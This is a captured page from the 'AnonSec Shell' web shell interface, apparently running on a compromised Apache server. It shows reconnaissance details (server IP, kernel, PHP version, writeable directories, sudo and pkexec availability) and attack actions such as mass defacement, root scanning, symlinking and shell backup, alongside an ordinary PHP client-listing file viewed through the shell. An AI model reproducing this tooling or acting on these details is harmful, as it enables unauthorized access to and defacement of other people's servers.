AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/portais/controller_antigo/publicacao/ext/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/portais/controller_antigo/publicacao/ext/clientes.php
<?php

class clientes extends clientesDAO
{

    public function GerarTabela()
    {

        $res = $this->ObterPorTodos();
        $cidades = new cidades();
        echo "<div id='padding'>";
        echo "<table class='dtabelas table table-striped table-hover dt-resposive' cellspacing='0' width='100%' >";
        echo "<thead id='tr_color'>
                <th width='2%'>ID</th>
                <th>CLIENTE</th>
                <th>CIDADE</th>
                <th width='2%'></th>
            </thead>";
        echo "<tbody>";
        foreach ($res as $l) {
            echo "<tr id='tr_hover' >";
            echo "<td>" . $l->getCod_cliente() . "</td>";
            echo "<td>" . $l->getCliente_nome() . "</td>";
            echo "<td>" . utf8_encode($cidades->ObterPorPK($l->getCod_cidade())->getCidade_nome()) . "</td>";
            echo "<td><a href='?p=clientes&f=view&cod_cliente=" . $l->getCod_cliente() . "'><span class='glyphicon glyphicon-search'></span></a></td>";
            echo "</tr>";
        }
        echo "</tbody>";
        echo "</table>";
        echo "</div'>";
    }


    public function GerarCombo($cod_cidade)
    {

        $result = $this->ObterPorCidade($cod_cidade);
        echo "<option value='0'>Selecione uma Cidade</option>";
        foreach ($result as $l) {
            echo "<option value='" . $l->getCod_cliente() . "'>" . $l->getCliente_nome() . "</option>";
        }


    }

    public function GerarRelatorio($cod_cliente)
    {
        $res = $this->ObterPorPK($cod_cliente);
        if ($res->getCod_cliente() > 0) {
            ?>
            <div class="col-md-1"></div>
            <div class="col-md-3">
                <a href="<?php echo "" . $res->getEnd_portal() ?>" target="_blank"><img src="img/ctransparente.jpg"
                                                                                        width="200"></a><br>
            </div>
            <div class="col-md-1"></div>
            <div class="col-md-3">
                <a href="?page=rel_publicados&id=<?php echo $res->getCod_cliente() ?>"><img src="img/lrf.jpg"
                                                                                            width="200"></a><br>
            </div>
            <div class="col-md-1"></div>
            <div class="col-md-3">
                <a href="<?php echo $res->getEnd_sistema() ?>" target="_blank"><img src="img/get.jpg"
                                                                                    width="200"></a><br>
            </div>


            <?php
        }
    }

    public function ObterPorCidade($cod_cidade)
    {

        # Faz conex�o
        $conexao = new conexaoBanco();
        $conexao->conectar();

        # Executa comando SQL
        $stmt = $conexao->pdo->prepare('SELECT cod_cliente, cliente_nome, cod_cidade FROM clientes WHERE cod_cidade = ? ORDER BY cliente_nome ASC');

        // Executa Query
        $stmt->bindValue(1, $cod_cidade);
        $stmt->execute();
        $retorno = $stmt->fetchAll(PDO::FETCH_ASSOC);

        $lista = array();
        $i = 0;

        foreach ($retorno as $row) {
            #Inst�ncia da entidade
            $clientesBE = new clientesBE();

            #Atribui valores
            $clientesBE->setCod_cliente($row['cod_cliente']);
            $clientesBE->setCliente_nome($row['cliente_nome']);
            $clientesBE->setCod_cidade($row['cod_cidade']);

            $lista[$i] = $clientesBE;
            $i++;
        }

        return $lista;
    }
}


Anon7 - 2022
AnonSec Team